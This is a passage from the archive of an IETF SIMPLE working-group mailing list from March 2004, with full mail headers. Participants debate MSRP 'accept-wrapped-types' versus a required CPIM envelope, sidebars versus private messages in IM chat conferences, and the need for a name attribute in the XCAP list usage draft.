>> hisham.khartabil@nokia.com wrote:
>> 
>>> My vote is to leave it as is. This is a solution that we
>> 
>> were comfortable with after a long debate. The new proposals add no
>> benefit.
>> 
>>> /Hisham
>>> 
>>> 
>>> 
>>>> -----Original Message----- From: simple-admin@ietf.org
>> 
>> [mailto:simple-admin@ietf.org]On Behalf Of
>> 
>>>> ext Ben Campbell Sent: 27.February.2004 22:53 To:
>>>> simple@ietf.org Subject: [Simple] MSRP: Wrapped types
>>>> 
>>>> 
>>>> Another issue came up during the discussions several of us had
>>>> a SIPIT. I am separating this out from the MSRP/SIMS
>>>> harmonization email, as it is orthagonal to that.
>>>> 
>>>> Several people commented that the existing "accept-types" and 
>>>> "accept-wrapped-types" were overly confusing and error prone. 
>>>> To recap, the point of this mechanism is to allow an MSRP
>>>> device to accept a number of formats, but require them to be
>>>> wrapped in an envelope of some sort. The motivation behind this
>>>> is that a CPIM gateway may
>> 
>> allow any
>> 
>>>> number of content-types, but insist that everything be wrapped
>>>> in a message/cpim envelope.
>>>> 
>>>> The existing mechanism says that any format listed in 
>>>> "accept-types" can occur anywhere in a body, including at the
>>>> root. Formats listed in "accept-wrapped-types" cannot occur at
>>>> the root; that is, they must be wrapped inside of some format
>>>> listed in "accept-types". This solves the problem, but it is
>>>> pretty complicated and difficult to understand.
>>>> 
>>>> Two possible alternatives were offered:
>>>> 
>>>> 1) Get rid of the "accept-wrapped-types" attribute, and instead
>>>> add an attribute that means "I require CPIM". This would mean
>>>> that all content must be wrapped in message/cpim envelopes.
>>>> 
>>>> 2) Generalize option 1 a little bit by adding an "envelope" 
>>>> attribute. This attribute would contain a single format entry.
>>>> All content must be wrapped in that format.
>>>> 
>>>> And of course, there is an implied item 3: Leave it as is.
>>>> 
>>>> Thoughts?
>>>> 
>>>> Thanks!
>>>> 
>>>> Ben.
>>>> 
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org 
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> _______________________________________________ Simple mailing
>>> list Simple@ietf.org 
>>> https://www1.ietf.org/mailman/listinfo/simple
>>> 
>> 
>> 
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 12:58:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24835
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 12:58:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrg8-0005Kq-E8
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 12:58:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Hw8ux020502
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 12:58:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrg8-0005KZ-7q
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 12:58:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24785
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 12:58:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrg6-0002JT-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:58:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrf0-00029f-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:56:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxreA-00021e-00; Mon, 01 Mar 2004 12:56:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axre6-00056A-Af; Mon, 01 Mar 2004 12:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrdu-00055f-RY
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 12:55:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24656
	for <simple@ietf.org>; Mon, 1 Mar 2004 12:55:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrdt-0001yz-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:55:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrcu-0001sD-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:54:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrby-0001la-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:53:50 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21HrfL10236;
	Mon, 1 Mar 2004 19:53:41 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:53:32 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21HrW8D029588;
	Mon, 1 Mar 2004 19:53:32 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00t3ebfx; Mon, 01 Mar 2004 19:53:31 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21HrPO00927;
	Mon, 1 Mar 2004 19:53:26 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:53:25 +0200
Message-ID: <40437891.7080304@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext hisham.khartabil@nokia.com" <hisham.khartabil@nokia.com>
CC: pkyzivat@cisco.com, bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:53:25.0562 (UTC) FILETIME=[186FD9A0:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:53:21 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext hisham.khartabil@nokia.com wrote:
> 
>> -----Original Message----- From: ext Paul Kyzivat
>> [mailto:pkyzivat@cisco.com] Sent: 01.March.2004 10:42 To: Khartabil
>> Hisham (Nokia-TP-MSW/Helsinki) Cc: bcampbell@dynamicsoft.com;
>> simple@ietf.org Subject: Re: [Simple] MSRP: Wrapped types
>> 
>> 
>> If we are to do more than leave as is, then I think we need to
>> revisit requirements. I have the impression that the people raising
>>  issues may have different notions of what the requirements are.
>> 
>> For instance, if there is a requirement to have messages wrapped in
>>  cpim, and then the cpim wrapper must be signed, and using just
>> signed, or just cpim isn't ok, then we can't meet the requirement.
> 
> 
> You can do that with the current solution. accept-types can have both
> message/cpim and signed. This means that they can both appear as
> wrapped types.

Yes, they can both appear there, but you can't mandate special ordering, 
i.e., that the message needs to first be wrapped in CPIM, then to 
multipart/signed and not the other way around, or using only one of them.

This may be feature creep, but I think it's important to see whether 
there are valid usages for this sort of thing because it's not really 
something that can be added easily afterwards.

Cheers,
Aki

> /Hisham
> 
> 
>> Paul
>> 
>> hisham.khartabil@nokia.com wrote:
>> 
>>> My vote is to leave it as is. This is a solution that we
>> 
>> were comfortable with after a long debate. The new proposals add no
>> benefit.
>> 
>>> /Hisham
>>> 
>>> 
>>> 
>>>> -----Original Message----- From: simple-admin@ietf.org
>> 
>> [mailto:simple-admin@ietf.org]On Behalf Of
>> 
>>>> ext Ben Campbell Sent: 27.February.2004 22:53 To:
>>>> simple@ietf.org Subject: [Simple] MSRP: Wrapped types
>>>> 
>>>> 
>>>> Another issue came up during the discussions several of us had
>>>> a SIPIT. I am separating this out from the MSRP/SIMS
>>>> harmonization email, as it is orthagonal to that.
>>>> 
>>>> Several people commented that the existing "accept-types" and 
>>>> "accept-wrapped-types" were overly confusing and error prone. 
>>>> To recap, the point of this mechanism is to allow an MSRP
>>>> device to accept a number of formats, but require them to be
>>>> wrapped in an envelope of some sort. The motivation behind this
>>>> is that a CPIM gateway may
>> 
>> allow any
>> 
>>>> number of content-types, but insist that everything be wrapped
>>>> in a message/cpim envelope.
>>>> 
>>>> The existing mechanism says that any format listed in 
>>>> "accept-types" can occur anywhere in a body, including at the
>>>> root. Formats listed in "accept-wrapped-types" cannot occur at
>>>> the root; that is, they must be wrapped inside of some format
>>>> listed in "accept-types". This solves the problem, but it is
>>>> pretty complicated and difficult to understand.
>>>> 
>>>> Two possible alternatives were offered:
>>>> 
>>>> 1) Get rid of the "accept-wrapped-types" attribute, and instead
>>>> add an attribute that means "I require CPIM". This would mean
>>>> that all content must be wrapped in message/cpim envelopes.
>>>> 
>>>> 2) Generalize option 1 a little bit by adding an "envelope" 
>>>> attribute. This attribute would contain a single format entry.
>>>> All content must be wrapped in that format.
>>>> 
>>>> And of course, there is an implied item 3: Leave it as is.
>>>> 
>>>> Thoughts?
>>>> 
>>>> Thanks!
>>>> 
>>>> Ben.
>>>> 
>>>> _______________________________________________ Simple mailing
>>>> list Simple@ietf.org 
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> _______________________________________________ Simple mailing
>>> list Simple@ietf.org 
>>> https://www1.ietf.org/mailman/listinfo/simple
>>> 
>> 
>> 
> 
> _______________________________________________ Simple mailing list 
> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 12:59:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24941
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 12:59:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrhn-0002eG-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:59:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrgu-0002Tw-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 12:58:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrg3-0002JA-00; Mon, 01 Mar 2004 12:58:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrg0-0005G2-W5; Mon, 01 Mar 2004 12:58:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrf6-0005Du-8v
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 12:57:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24722
	for <simple@ietf.org>; Mon, 1 Mar 2004 12:57:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrf2-00029y-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:57:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxreC-00021t-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:56:08 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrd7-0001u2-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:55:01 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hso710443;
	Mon, 1 Mar 2004 19:54:50 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:54:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21Hs5nw031848;
	Mon, 1 Mar 2004 19:54:05 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00wwgURN; Mon, 01 Mar 2004 19:54:05 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hru720211;
	Mon, 1 Mar 2004 19:53:56 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:53:55 +0200
Message-ID: <404378AF.3050107@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:53:56.0234 (UTC) FILETIME=[2AB806A0:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:53:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Brian,

Please go back to my previous post where I make a comparison to similar
(if not identical) functionality in IRC. There, sidebars and private
messages are clearly separate functionality.

If you can show that the analogy between IRC and IM conferences is
false, or describe how sidebars alone are enough to implement this 
functionality in IM conferences, I'm happy to back down on this
issue.

Cheers,
Aki

ext Rosen, Brian wrote:
> Aki
> 
> My post was meant to point out that we had decided to implement
> sidebars as separate dialogs from main conferences, which is similar
> to making "private messages" separate dialogs from a main IM dialog.
> In that way, I think that sidebars and private messages are the same;
> they are media sent to a subset of participants in the group.  If
> there is a reason to allow a special way to subset destinations for a
>  private message rather than the entire chat group, then whatever 
> argument you make would apply to a sidebar.
> 
> Brian

<snip />



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 13:00:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25038
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 13:00:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrhs-0005lp-Ma
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 12:59:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21HxuK8022175
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 12:59:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrhs-0005la-If
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 12:59:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24959
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 12:59:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrhq-0002ed-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:59:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrgv-0002U4-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:58:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrg3-0002JA-00; Mon, 01 Mar 2004 12:58:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrg0-0005G2-W5; Mon, 01 Mar 2004 12:58:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrf6-0005Du-8v
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 12:57:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24722
	for <simple@ietf.org>; Mon, 1 Mar 2004 12:57:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrf2-00029y-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:57:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxreC-00021t-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:56:08 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrd7-0001u2-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:55:01 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hso710443;
	Mon, 1 Mar 2004 19:54:50 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:54:05 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21Hs5nw031848;
	Mon, 1 Mar 2004 19:54:05 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00wwgURN; Mon, 01 Mar 2004 19:54:05 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hru720211;
	Mon, 1 Mar 2004 19:53:56 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:53:55 +0200
Message-ID: <404378AF.3050107@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:53:56.0234 (UTC) FILETIME=[2AB806A0:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:53:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Brian,

Please go back to my previous post where I make a comparison to similar
(if not identical) functionality in IRC. There, sidebars and private
messages are clearly separate functionality.

If you can show that the analogy between IRC and IM conferences is
false, or describe how sidebars alone are enough to implement this 
functionality in IM conferences, I'm happy to back down on this
issue.

Cheers,
Aki

ext Rosen, Brian wrote:
> Aki
> 
> My post was meant to point out that we had decided to implement
> sidebars as separate dialogs from main conferences, which is similar
> to making "private messages" separate dialogs from a main IM dialog.
> In that way, I think that sidebars and private messages are the same;
> they are media sent to a subset of participants in the group.  If
> there is a reason to allow a special way to subset destinations for a
>  private message rather than the entire chat group, then whatever 
> argument you make would apply to a sidebar.
> 
> Brian

<snip />



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 13:03:56 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25335
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 13:03:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrlm-0003FV-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 13:03:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrkq-00037q-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 13:03:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrjx-00031B-00; Mon, 01 Mar 2004 13:02:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrju-0005vo-DS; Mon, 01 Mar 2004 13:02:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axrjk-0005ur-QZ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 13:01:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25239
	for <simple@ietf.org>; Mon, 1 Mar 2004 13:01:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrji-0002yo-00
	for simple@ietf.org; Mon, 01 Mar 2004 13:01:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axrim-0002pm-00
	for simple@ietf.org; Mon, 01 Mar 2004 13:00:52 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axrhr-0002ee-00
	for simple@ietf.org; Mon, 01 Mar 2004 12:59:55 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hxp714452;
	Mon, 1 Mar 2004 19:59:51 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 19:59:45 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i21HxjCX023595;
	Mon, 1 Mar 2004 19:59:45 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00Mjxx46; Mon, 01 Mar 2004 19:59:43 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Hxh723500;
	Mon, 1 Mar 2004 19:59:43 +0200 (EET)
Received: from nokia.com ([10.162.252.231]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 19:59:42 +0200
Message-ID: <40437A0B.2040103@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Adam Roach <adam@dynamicsoft.com>
CC: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
References: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 17:59:43.0062 (UTC) FILETIME=[F971C760:01C3FFB6]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 19:59:39 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Adam Roach wrote:
<snip />

>>Yes, I was thinking the same. If the uri in unique, why do we 
>>need name?
> 
> 
> The stated motivation has been that SIP URI comparision rules
> can be inefficient.

Why does this matter? If you're simply comparing values of XML 
attributes, then why does it matter that the value represents a SIP URI?

Cheers,
Aki

> 
> /a
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 13:04:28 2004
